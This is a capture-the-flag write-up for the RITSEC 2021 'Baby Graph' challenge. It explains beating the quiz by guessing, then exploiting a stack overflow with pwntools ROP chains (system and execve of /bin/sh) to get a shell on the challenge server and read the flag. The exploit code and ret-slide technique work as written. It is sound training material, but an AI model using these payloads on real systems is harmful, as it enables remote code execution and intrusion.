# RITSEC 2021: Baby Graph
Points: 231
Category: Rev/Bin
## Summary
We are presented with three files:- _babygraph_: the compiled binary, running on the challenge server- _libc.so.6_: the version of libc on the challenge server- _babygraph.c_: source code for the babygraph binary
## Code Review
Taking a look at the source, I first noticed familiar variable names dealing with graph structures:
```c#define MAXN 10#define NQUIZ 5
unsigned int G[MAXN][MAXN];unsigned int deg[MAXN];unsigned int V;unsigned int E;```
(_G_ for graph, _V_ for vertex, _E_ for edge, _deg_ for degree of connectivity)
The `generateGraph` function generates a random graph with random configurations of vertices connected via random edges. Of note, it starts by calling `resetGraph` which sets the global boolean `bruh` to true, and before returning, optionally sets `bruh` to false:
```cvoid generateGraph() {    resetGraph(); // sets bruh to true
    // ...graph generated here using rand()...
    for (int v = 0; v < V; v++) {        if (deg[v] % 2) {            bruh = false;            break;        }    }}```
Next up is this aptly named function:
```cvoid vuln() {    char buf[100];
    printf("Here is your prize: %p\n", system);    fgets(buf, 400, stdin);}```
If this function is ever called, we immediately get an information leak (the address of `system`) along with an overflowable stack buffer. The primary goal must be to call this function.
Main is very simple. It seeds `srand` with the current system time in seconds, then enters a for loop that
1. Generates a graph2. Displays the graph3. Asks a yes or no question4. Exits early if the answer is not correct with respect to `bruh`
If all questions are answered correctly, the for loop terminates and the `vuln` function is called.
## Strategy
Three strategies came to mind for how to get to `vuln`.
1. Parse the graph printout and calculate the answer to each question.2. Pre-determine the five graph answers by seeding `srand` with my own system time, then extending out a minute or so to build up a cache of solutions. After connecting to the server, the first graph shown will line up with a cached solution computed locally.3. Quickly run some experiments to see whether there is bias toward `Y` over `N` or vice versa.
The first two strategies clearly involved more coding, and it's possible to get lucky with strategy #3 and find out that the answer is `Y` 90% of the time or something. That's what I went with to start.
I modified `main`, adding some simple counters, and removing printing and exiting code, and any calls for user input:
```cint main() {    srand(time(NULL));
    int c = 0;    int d = 0;    for (int jjj=0; jjj < 0x10000; jjj++) {        int a = 0;        int b = 0;
        for (int i = 0; i < NQUIZ; i++) {            generateGraph();            if (bruh) { a++; } else { b++; }        }
        if (a == 0) {            c++; // All answers "No"        } else {            d++;        }    }
    printf("%d, %d \n", c, d);    printf("%f\n", (float)c / (float)d);
    return 0;}```
`a` and `b` count how often `bruh` was true or false. After 5 graphs generated, `c` counted the number of times _all five answers_ were _N_. And finally, a ratio is printed out after repeating the experiment 0x10000 times.
The results consistently looked something like:
```16542, 48994 0.337633```
Meaning the odds of _all Ns_ vs. anything else was about 1:3. Those odds seem pretty good to me!
In about 5 minutes, we found that we don't need to parse their graph printout! We will simply land on `vuln` by guessing `N` all 5 times, with the only potential penalty of having to re-try our exploit a couple times.
## ROP
The stack buffer overflow clearly intends for ROP, but to check for canaries, I loaded the binary in ghidra and decompiled `vuln`:
```cvoid vuln(void){    char local_78 [112];     printf("Here is your prize: %p\n",system);    fgets(local_78,400,stdin);    return;}```
No canary, onto ROP:
```pythonif local:    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')else:    libc = ELF('./libc.so.6')
r = ROP(libc)```
Pwntools makes this part super easy, and is a highly recommended toolkit for quickly solving CTF pwn challenges. With the `system` function address leaked by `vuln`, we can calculate where the base of libc is loaded, to make further ROP calculations easy:
```python# parse "0xdeadbeef" string to integersystem_addr = int(leaked_addr_text, 16)
# calculate libc basesystem_offset = libc.symbols['system']libc_base = system_addr - system_offset```
With the following gadgets and knowledge of `system` already, we are ready to get a shell!
```python# binsh stringbin_sh_offset = next(libc.search(b'/bin/sh\x00'))bin_sh_addr = bin_sh_offset + libc_base
# pop rdi gadgetpop_rdi_offset = r.find_gadget(['pop rdi', 'ret']).addresspop_rdi_addr = pop_rdi_offset + libc_base
# ret gadgetret_offset = r.find_gadget(['ret']).addressret_addr = ret_offset + libc_base```
The _ret gadget_ comes in handy since the number of input bytes read in is large, and I didn't want to waste time counting the exact number of bytes until overwriting the first `ret` address and instead used a "ret slide" as the first large chunk of input.
This means that the entire stack buffer is filled with pointers to a `ret` instruction, `RBP` is loaded with this address, and also the first dozen or so ROP instructions actually just execute `ret`, or effectively `nop`.
Our ROP chain is now:
```pythonchain = [    pop_rdi_addr,    bin_sh_addr,    # rdi    system_addr,    # printed from `vuln`]
# send ropchainp.sendline(p64(ret_addr) * (250 // 8) +  b''.join(p64(r) for r in chain))p.interactive()```
We got a shell locally! Unfortunately for whatever reason, this simply would not work on the remote server. We tried debugging so many things, and countlessly watched our payload execute successfully through gdb. It wasn't until we changed our payload slightly to:
```pythonchain = [    pop_rdi_addr,    bin_sh_addr,    # rdi    puts_addr,      # calculated puts address]```
Which is effectively `puts("/bin/sh")`. We just tried to make _anything_ useful happen remotely. And this actually caused the remote server to print the string "/bin/sh"!
Something wasn't working with `system("/bin/sh")` so we pivoted to building a new ROP chain for:
```cvoid *a = 0;execve("/bin/sh", a, a);```
We had to find a few more gadgets for this, to correctly populate the second and third register arguments:
```python# pop rsi gadgetpop_rsi_offset = r.find_gadget(['pop rsi', 'ret']).addresspop_rsi_addr = pop_rsi_offset + libc_base
# pop rdx gadgetpop_rdx_offset = r.find_gadget(['pop rdx', 'pop r12', 'ret']).addresspop_rdx_addr = pop_rdx_offset + libc_base
# execve gadgetexecve_offset = libc.symbols['execve']execve_addr = execve_offset + libc_base
# null ptr (*VALID* pointer to 0)nullptr_offset = next(libc.search(p64(0)))nullptr_addr = nullptr_offset + libc_base
chain = [    pop_rdi_addr,    bin_sh_addr,    # rdi    pop_rsi_addr,    nullptr_addr,   # rsi    pop_rdx_addr,    nullptr_addr,   # rdx    0,              # r12    execve_addr,]
# send ropchainp.sendline(p64(ret_addr) * (250 // 8) +  b''.join(p64(r) for r in chain))p.interactive()```
The interesting part here is that we need a _valid address_ where we can expect a pointer to NULL. The following only finds the first valid pointer to 0 in libc:
```python# null ptr (*VALID* pointer to 0)nullptr_offset = next(libc.search(p64(0)))nullptr_addr = nullptr_offset + libc_base```
This happened to be stable during runtime for this binary. But hey, we threw out exploit stability by answering all `N`s anyway :)
## Popping a shell
```bashfor x in `seq 10`; do ./solve.py; done;```
```[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/user/projects/offsec/baby_graph/libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 201 cached gadgets for './libc'[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] Switching to interactive mode$ lsbabygraphcoreflag.txtstart.sh$ cat flag.txtRS{B4by_gr4ph_du_DU_dU_Du_B4by_graph_DU_DU_DU_DU_Baby_gr4ph}$ exit[*] Got EOF while reading in interactive$```